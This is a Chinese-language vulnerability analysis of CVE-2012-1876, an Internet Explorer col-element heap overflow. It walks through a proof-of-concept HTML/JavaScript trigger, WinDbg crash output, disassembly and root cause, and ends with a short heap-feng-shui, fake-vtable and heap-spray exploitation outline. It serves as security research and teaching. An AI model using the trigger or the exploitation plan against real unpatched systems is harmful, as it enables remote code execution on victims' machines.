CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

时间:2023-02-03 00:11:11

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
        Microsoft Internet Explorer 6至9版本中存在漏洞,该漏洞源于未正确处理内存中的对象。远程攻击者可利用该漏洞通过试图访问不存在的对象执行任意代码。也称“Col元素远程代码执行漏洞”。

 <html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >&nbsp </col>
</table>
<script> function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
} setTimeout("over_trigger();",1); </script>
</body>
</html>

调试环境为win7+未打补丁的win7,使用windbg +ust +hpa .childdbg 1加载poc,crash信息如下

:> r
eax= ebx= ecx= edx=0000000c esi=0d960ffc edi=0d961014
eip=66b1f167 esp=0461d7a8 ebp=0461d7b4 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableColCalc::AdjustForCol+0x15:
66b1f167 890f mov dword ptr [edi],ecx ds::0d961014=????????

因为是已开启页堆的情况下进行的调试的,所以猜测是触发了栅栏页引发的异常。看下edi的信息,如下。发现edi在堆d960f00中,堆底为d960ffc。而edi为0d961014差距还是很大的,同时此块堆只有分配记录没有释放记录说明不可能是UAF漏洞,又因为是写操作引起的那么应该就是堆的溢出.

:> dc edi
0d961014 ???????? ???????? ???????? ???????? ????????????????
0d961024 ???????? ???????? ???????? ???????? ????????????????
0d961034 ???????? ???????? ???????? ???????? ????????????????
0d961044 ???????? ???????? ???????? ???????? ????????????????
0d961054 ???????? ???????? ???????? ???????? ????????????????
0d961064 ???????? ???????? ???????? ???????? ????????????????
0d961074 ???????? ???????? ???????? ???????? ????????????????
0d961084 ???????? ???????? ???????? ???????? ????????????????
:> !heap -p -a edi
address 0d961014 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
bdd1270: d960f00 fc - d960000
73b88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77917d96 ntdll!RtlpAllocateHeap+0x000000c4
778e34ca ntdll!RtlAllocateHeap+0x0000023a
668a6c94 mshtml!_HeapRealloc+0x00000036
668c8ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
668002f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
mshtml!CTableLayout::CalculateLayout+0x00000276
667eaf19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
668dcc48 mshtml!CLayout::CalcSize+0x000002b8
668cf5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
668cf31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
668cf664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
668cfb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
70bd665d msls31!ProcessOneRun+0x000003e9
70bd6399 msls31!FetchAppendEscCore+0x0000018e
70bd6252 msls31!LsDestroyLine+0x0000047f
70bd61c3 msls31!LsDestroyLine+0x000009ff
70bd293f msls31!LsCreateLine+0x000000cb
668cdd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
668e17cc mshtml!CLSMeasurer::LSMeasure+0x00000034
668e1ef5 mshtml!CLSMeasurer::Measure+0x000001e6
668e1db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
668e11a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
6690a8f6 mshtml!CDisplay::RecalcLines+0x000008bb
669b490f mshtml!CDisplay::WaitForRecalc+0x00000209
6694d534 mshtml!CFlowLayout::Notify+0x000007de
668b7515 mshtml!NotifyElement+0x00000041
668b727c mshtml!CMarkup::Notify+0x000000d6
668dc06c mshtml!CElement::SendNotification+0x0000004a
66947e44 mshtml!CElement::EnsureRecalcNotify+0x0000015f
668806e5 mshtml!CDisplayPointer::MoveUnit+0x000002b2

我们来kp看一下栈回溯,不对,应该看下kv的,注意下参数的传递

:> kp
ChildEBP RetAddr
0461d7b4 66995b8e mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 msls31!ProcessOneRun+0x3e9
0461e020 70bd6252 msls31!FetchAppendEscCore+0x18e
0461e074 70bd61c3 msls31!LsDestroyLine+0x47f
0461e0fc 70bd293f msls31!LsDestroyLine+0x9ff
0461e138 668cdd81 msls31!LsCreateLine+0xcb
0461e288 668e17cc mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f mshtml!CDisplay::RecalcLines+0x8bb
:> kv
ChildEBP RetAddr Args to Child
0461d7b4 66995b8e 0461daf8 mshtml!CTableColCalc::AdjustForCol+0x15
0461d864 0461daf8 mshtml!CTableLayout::CalculateMinMax+0x52f
0461da80 667eaf19 0461daf8 0461dac4 mshtml!CTableLayout::CalculateLayout+0x276
0461dc2c 668dcc48 0461ec90 0461de58 mshtml!CTableLayout::CalcSizeVirtual+0x720
0461dd64 668cf5d0 0b11aea8 mshtml!CLayout::CalcSize+0x2b8
0461de28 668cf31d 0b11aea8 0002469e 0002469e mshtml!CFlowLayout::MeasureSite+0x312
0461de70 668cf664 1868bf00 0461ec90 mshtml!CFlowLayout::GetSiteWidth+0x156
0461deb0 668cfb40 0a3ecfb0 0b11aea8 mshtml!CLSMeasurer::GetSiteWidth+0xce
0461df34 70bd665d 1340aff8 0461df54 0461e018 mshtml!CEmbeddedILSObj::Fmt+0x150
0461dfc4 70bd6399 1277aefc 133e3d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo])
0461e020 70bd6252 1277af18 000258dd msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo])
0461e074 70bd61c3 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo])
0461e0fc 70bd293f 00003a44 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo])
0461e138 668cdd81 00003a44 msls31!LsCreateLine+0xcb (FPO: [Non-Fpo])
0461e288 668e17cc 0461ec90 0a3ecfc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
0461e32c 668e1ef5 0461eb90 0002469e mshtml!CLSMeasurer::LSMeasure+0x34
0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6
0461e398 668e11a2 1868bf40 mshtml!CLSMeasurer::MeasureLine+0x1c
0461e448 6690a8f6 0461e968 0b47d9f0 mshtml!CRecalcLinePtr::MeasureLine+0x46d
0461ec50 669b490f 0461ec90 000003e9 0000055e mshtml!CDisplay::RecalcLines+0x8bb

看下这个模块的信息,抓出来这个模块到ida中看下流程。

:> lmm mshtml v
start end module name
666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
Loaded symbol image file: C:\Windows\System32\mshtml.dll
Image path: C:\Windows\System32\mshtml.dll
Image name: mshtml.dll
Timestamp: Tue Jul :: (4A5BDA8A)
CheckSum: 005BE1C8
ImageSize: 005B2000
File version: ...
Product version: ...
File flags: (Mask 3F)
File OS: NT Win32
File type: . Dll
File date: .
Translations: .04b0
CompanyName: Microsoft Corporation
ProductName: Windows® Internet Explorer
InternalName: MSHTML
OriginalFilename: MSHTML.DLL
ProductVersion: ...
FileVersion: ... (win7_rtm.-)
FileDescription: Microsoft (R) HTML Viewer
LegalCopyright: © Microsoft Corporation. All rights reserved.

结果发现模块加载的基址不一样,没法直接在IDA中跳过去。看下在IE进程里加载的基地址,如下。66b1f167-666f0000= 42F167,而IDA为如图74C20000+42F167=7504F167。

:> lm
start end module name
iexplore (deferred)
666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb
69b00000 69bb2000 jscript (deferred)
6b490000 6bf0c000 IEFRAME (deferred)
6e400000 6e43c000 OLEACC (deferred)
6eac0000 6eaee000 MLANG (deferred)
6ef90000 6ef96000 sensapi (deferred)
6f060000 6f0b2000 RASAPI32 (deferred)
6f4c0000 6f4eb000 ieproxy (deferred)
WINMM (deferred)
ksuser (deferred)
wdmaud (deferred)
70af0000 70b25000 IEShims (deferred)
70bc0000 70bc6000 rasadhlp (deferred)
70bd0000 70bfa000 msls31 (pdb symbols) C:\symbols\msls31.pdb\7919161B84F0418F9FCD19A720CF43902\msls31.pdb
711c0000 iepeers (deferred)
711e0000 AUDIOSES (deferred)
fwpuclnt (deferred)
IconCodecService (deferred)
726af000 ntshrui (deferred)
726b0000 726bb000 CSCAPI (deferred)
726c0000 726c9000 CSCDLL (deferred)
726d0000 7273a000 cscui (deferred)
EhStorShell (deferred)
WINNSI (deferred)
7294c000 iphlpapi (deferred)
72e10000 72e61000 WINSPOOL (deferred)
733a5000 rasman (deferred)
73b80000 73be0000 verifier (pdb symbols) C:\symbols\verifier.pdb\8878279C450C4F4DA6B252A4B824B4981\verifier.pdb
73cb0000 73cbe000 pngfilt (deferred)
73cc0000 73ccb000 msimtf (deferred)
73d00000 73d0b000 ImgUtil (deferred)
73da0000 73dad000 rtutils (deferred)
73f60000 73f67000 midimap (deferred)
73f70000 73f84000 MSACM32_73f70000 (deferred)
73f90000 73f98000 msacm32 (deferred)
73fd0000 740cb000 WindowsCodecs (deferred)
7416a000 slc (deferred)
pnrpnsp (deferred)
741a0000 741ad000 wshbth (deferred)
741b0000 741c0000 napinsp (deferred)
741c0000 741c8000 winrnr (deferred)
ntmarta (deferred)
743bf000 XmlLite (deferred)
743c0000 743d3000 dwmapi (deferred)
746a0000 gdiplus (deferred)
746a0000 7483e000 comctl32 (deferred)
NLAapi (deferred)
748a0000 uxtheme (deferred)
74bd0000 74bd7000 AVRT (deferred)
74be0000 74cd5000 propsys (deferred)
74ce0000 74d19000 MMDevAPI (deferred)
74ee0000 74ee9000 VERSION (deferred)
74f70000 74f75000 wshtcpip (deferred)
7523b000 rsaenh (deferred)
752e0000 dnsapi (deferred)
wship6 (deferred)
7545c000 mswsock (deferred)
CRYPTSP (deferred)
srvcli (deferred)
758c0000 758da000 SspiCli (deferred)
758e0000 7592b000 apphelp (deferred)
7593c000 CRYPTBASE (deferred)
7599f000 SXS (deferred)
759d0000 759de000 RpcRtRemote (deferred)
759e0000 759eb000 profapi (deferred)
75a50000 75a5c000 MSASN1 (deferred)
75a60000 75ae4000 COMCTL32_75a60000 (deferred)
75af0000 75b02000 DEVOBJ (deferred)
75b10000 75c2c000 CRYPT32 (deferred)
75c30000 75c7a000 KERNELBASE (deferred)
75cb0000 75cd7000 CFGMGR32 (deferred)
75ce0000 75d2e000 GDI32 (deferred)
75d30000 75d49000 sechost (deferred)
75d50000 75eac000 ole32 (deferred)
75eb0000 75f79000 USER32 (deferred)
75f80000 7602c000 msvcrt (deferred)
76c79000 SHELL32 (deferred)
76c80000 76cfb000 comdlg32 (deferred)
76d00000 76d83000 CLBCatQ (deferred)
76dc0000 76ef5000 urlmon (deferred)
76f00000 76fa1000 RPCRT4 (deferred)
76fb0000 kernel32 (deferred)
7722d000 SETUPAPI (deferred)
772bf000 OLEAUT32 (deferred)
772c0000 ADVAPI32 (deferred)
773fd000 USP10 (deferred)
7752c000 MSCTF (deferred)
SHLWAPI (deferred)
iertutil (deferred)
WININET (deferred)
779cc000 ntdll (pdb symbols) C:\symbols\ntdll.pdb\F0164DA71FAF4765B8F3DB4F2D7650EA2\ntdll.pdb
779d0000 779d5000 PSAPI (deferred)
779e0000 779e3000 Normaliz (deferred)
779f0000 77a0f000 IMM32 (deferred)
77a10000 77a16000 NSI (deferred)
77a20000 77a65000 WLDAP32 (deferred)
77a70000 77a7a000 LPK (deferred)
77a80000 77ab5000 ws2_32 (deferred)

CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

得到了函数如下,我们可以看到edi=esi+0x18。而esi没有处理,说明是上层函数传递过来的。

; Attributes: bp-based frame

sub_7504F152 proc near

arg_0= dword ptr
arg_4= dword ptr 0Ch
arg_8= dword ptr 10h mov edi, edi
push ebp
mov ebp, esp
mov ecx, [eax]
push ebx
mov ebx, [ebp+arg_0]
push edi
mov eax, ecx
and eax, 0Fh
lea edi, [esi+18h]
push eax
mov [edi], ecx

我们看下上层函数66995b8e-666f0000= 2A5B8E,2A5B8E+74C20000=74EC5B8E。首先esi来自于局部变量,在看下var_24的值

mov     esi, [ebp+var_24]
push [ebp+var_C]
call sub_7504F152

如果去跟进CTableLayout::CalculateMinMax函数,也就是crash函数的上层函数可以发现一些东西。首先是这个函数的第一个参数的意义

:> dc esp
046ae190 65bb0713 08100ea8 046ae420 ...e.... .j.....
046ae1a0 08100ea8 08100ea8 7777517e ............~Qww
046ae1b0 77737d96 ffffffff .}sw............
046ae1c0 ................
046ae1d0 ffffffff 0045852c ............,.E.
046ae1e0 7776c3a9 046ae208 ..........vw..j.
046ae1f0 0760afe0 ..............`.
046ae200 046ae2a8 7776c979 ..........j.y.vw
:> dc 08100ea8
08100ea8 65aa9868 047a5f30 084adfb8 65c64918 h..e0_z...J..I.e
08100eb8 0108080d ffffffff ................
08100ec8 ffffffff ................
08100ed8 0002783a 00011d8c :x..............
08100ee8 .....(A.........
08100ef8 ffffffff ffffffff ................
08100f08 ffffffff ffffffff 65aa9fd0 ...........e....
08100f18 08120ff0 65aa9fd0 ...........e....
:> ln 65aa9868
(65aa9868) mshtml!CTableLayout::`vftable' | (65aa99a8) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>

由此可见arg1就是CTableLayout对象的指针。而这个对象对应的其实就是<table>标签。接着往下跟会发现又取用了此对象中的一个成员,如下

:> p
eax= ebx=08100ea8 ecx= edx=ffffffff esi=046ae420 edi=046ae3ec
eip=65bb01a6 esp=046ae0f4 ebp=046ae18c iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableLayout::CalculateMinMax+0x1c:
65bb01a6 8b4354 mov eax,dword ptr [ebx+54h] ds::08100efc=

据说,这个值代表span属性的个数,那么根据poc就是1了。然后后面还有一个取用对象成员的语句,如下。

:>
eax= ebx=08100ea8 ecx= edx= esi=046adc38 edi=
eip=65bb02cc esp=046ad908 ebp=046ad9a4 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableLayout::CalculateMinMax+0x1b1:
65bb02cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds::08100f3c=

又据说,这个值用来与span的个数做比较,叫做spancmp,然后又调用了一个分配内存的函数

.text:74DF8FB7 ; int __stdcall CImplAry::EnsureSizeWorker(size_t)
.text:74DF8FB7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near
.text:74DF8FB7 ; CODE XREF: CSelectionRenderingServiceProvider::GetSelectionChunksForLayout(CFlowLayout *,CRenderInfo *,CDataAry<HighlightSegment> *,int *,int *)-6B92p
.text:74DF8FB7 ; CView::DeferTransition(COleSite *)+3Fp ...
.text:74DF8FB7
.text:74DF8FB7 dwBytes = dword ptr -
.text:74DF8FB7 var_4 = dword ptr -
.text:74DF8FB7 arg_0 = dword ptr
.text:74DF8FB7
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E02CB4 SIZE BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES
.text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES
.text:74DF8FB7
.text:74DF8FB7 mov edi, edi
.text:74DF8FB9 push ebp
.text:74DF8FBA mov ebp, esp
.text:74DF8FBC push ecx
.text:74DF8FBD push ecx
.text:74DF8FBE push ebx
.text:74DF8FBF push esi
.text:74DF8FC0 mov esi, eax
.text:74DF8FC2 push
.text:74DF8FC4 pop eax
.text:74DF8FC5 mov [ebp+var_4], eax
.text:74DF8FC8 cmp esi, eax
.text:74DF8FCA jnb loc_74E02CB4
.text:74DF8FD0
.text:74DF8FD0 loc_74DF8FD0: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+9D00j
.text:74DF8FD0 ; CImplAry::EnsureSizeWorker(uint,long)+9D25j ...
.text:74DF8FD0 mov eax, [ebp+var_4]
.text:74DF8FD3 mul [ebp+arg_0]
.text:74DF8FD6 push edx
.text:74DF8FD7 push eax
.text:74DF8FD8 lea eax, [ebp+dwBytes]
.text:74DF8FDB call ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *)
.text:74DF8FE0 mov ebx, eax
.text:74DF8FE2 test ebx, ebx
.text:74DF8FE4 jnz short loc_74DF900B
.text:74DF8FE6 test byte ptr [edi+],
.text:74DF8FEA jnz loc_74E3BEEC
.text:74DF8FF0 push [ebp+dwBytes] ; dwBytes
.text:74DF8FF3 lea esi, [edi+0Ch]
.text:74DF8FF6 call ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint)
.text:74DF8FFB mov ebx, eax
.text:74DF8FFD test ebx, ebx
.text:74DF8FFF jnz short loc_74DF900B
.text:74DF9001
.text:74DF9001 loc_74DF9001: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+42F6Dj
.text:74DF9001 mov eax, [ebp+var_4]
.text:74DF9004 and dword ptr [edi+], 0FFFFFFFDh
.text:74DF9008 mov [edi+], eax
.text:74DF900B
.text:74DF900B loc_74DF900B: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2Dj
.text:74DF900B ; CImplAry::EnsureSizeWorker(uint,long)+j ...
.text:74DF900B pop esi
.text:74DF900C mov eax, ebx
.text:74DF900E pop ebx
.text:74DF900F leave
.text:74DF9010 retn

由于我没有对于IE对象的知识只好跟着泉哥的分析走,如下

  • crash函数的上层函数CTableLayout::CalculateMinMax的第一个参数为<table>的对象CtableLayout,由于一直在使用[ebx+xx]的形式索引值所以可以依据这个来推断。
  • CtableLayout+0x54是spannum就是span属性的值,为1
  • CtableLayout+0x9C是分配的堆的指针,是上面那个函数分配的(泉哥写的是0x90,但是根据调试结果来看是0x9C应该是印刷错误)
  • CtableLayout+0x94是泉哥所说的用来与spannum比较的spancmp,这个值为4

值得注意的一点是,上面这一切的操作都是poc的起始几句话所引起的,也就是一个对应的关系。

 <table style="table-layout:fixed" >
<col id="" width="" span="" >&nbsp </col>
</table>

这个也就是为什么会有span等于1,我们先整理一下数据。

CtableLayout+0x54=1,如下

:> dc 08100ea8+0x54 l1
08100efc ....

CtableLayout+0x94=4,如下

:> dc 08100ea8+0x94 l1
08100f3c ....
:> dc 08100ea8+0x9c l1
08100f44 07e34f90 .O..
:> !heap -p -a 07e34f90
address 07e34f90 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7dd0548: 7e34f90 - 7e34000
77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77737d96 ntdll!RtlpAllocateHeap+0x000000c4
777034ca ntdll!RtlAllocateHeap+0x0000023a
65c56c94 mshtml!_HeapRealloc+0x00000036
65c78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1
65bb02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df
65bb0713 mshtml!CTableLayout::CalculateLayout+0x00000276
65b9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720
65c8cc48 mshtml!CLayout::CalcSize+0x000002b8
65c7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312
65c7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156
65c7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce
65c7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150
6f91665d msls31!ProcessOneRun+0x000003e9
6f916399 msls31!FetchAppendEscCore+0x0000018e
6f916252 msls31!LsDestroyLine+0x0000047f
6f9161c3 msls31!LsDestroyLine+0x000009ff
6f91293f msls31!LsCreateLine+0x000000cb
65c7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127
65c917cc mshtml!CLSMeasurer::LSMeasure+0x00000034
65c91ef5 mshtml!CLSMeasurer::Measure+0x000001e6
65c91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c
65c911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d
65c933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440
65c930eb mshtml!CDisplay::RecalcLines+0x0000006b
65c93015 mshtml!CDisplay::RecalcView+0x0000006d
65c92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d
65b9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045
65c902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049
65c90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8
65c9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af

CtableLayout+0x9C就是上面分配的堆指针。根据信息可以看到是0x70大小。

之后会因为function over_trigger()函数的调用,又一次进入到crash函数的上层函数里,所以上面我们才要进行一下区分。如下所示是调用获取span值的函数,eax为返回值为1000正好对应了我设置的 obj_col.span = 1000;

call    ?GetAAspan@CTableCol@@QBEHXZ ; CTableCol::GetAAspan(void)
:> p
eax=000003e8 ebx=07cd0ea8 ecx= edx=07cf2ff0 esi=05dd4fac edi=07d04fd0
eip=65d45a33 esp=0442d9b8 ebp=0442da54 iopl= nv up ei pl nz na po nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableLayout::CalculateMinMax+0x383:
65d45a33 3de8030000 cmp eax,3E8h

然后执行了获取要复制的长度的函数

.text:74EC5AB3                 call    ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth(CDocInfo const *,CElement *,int)
.text:74EC5AB8 cmp [ebp+var_5C],
.text:74EC5ABC mov [ebp+var_2C], eax

总结就是span在第一次时分配了内存而第二次时并没有,造成了往4*0x1c的内存中写入1000*0x1c数据的情况。

漏洞利用

关于漏洞利用,对于漏洞利用其实我们只需要清楚这几点

1.写入的内容:width*100

2.写入的长度:span*0x1C

3.造成溢出的内存块:table标签为span属性分配的大小为0x70的堆内存,此内存的地址储存在table标签对应的C++对象——CtableLayout对象的0x9C偏移处。

那么利用的思路就是先释放一批0x70的堆块,然后让溢出堆块去占用它们。这样溢出发生后就可以指定的去溢出目标了,这样可以溢出后面一个对象然后伪造虚表+堆喷就可以了。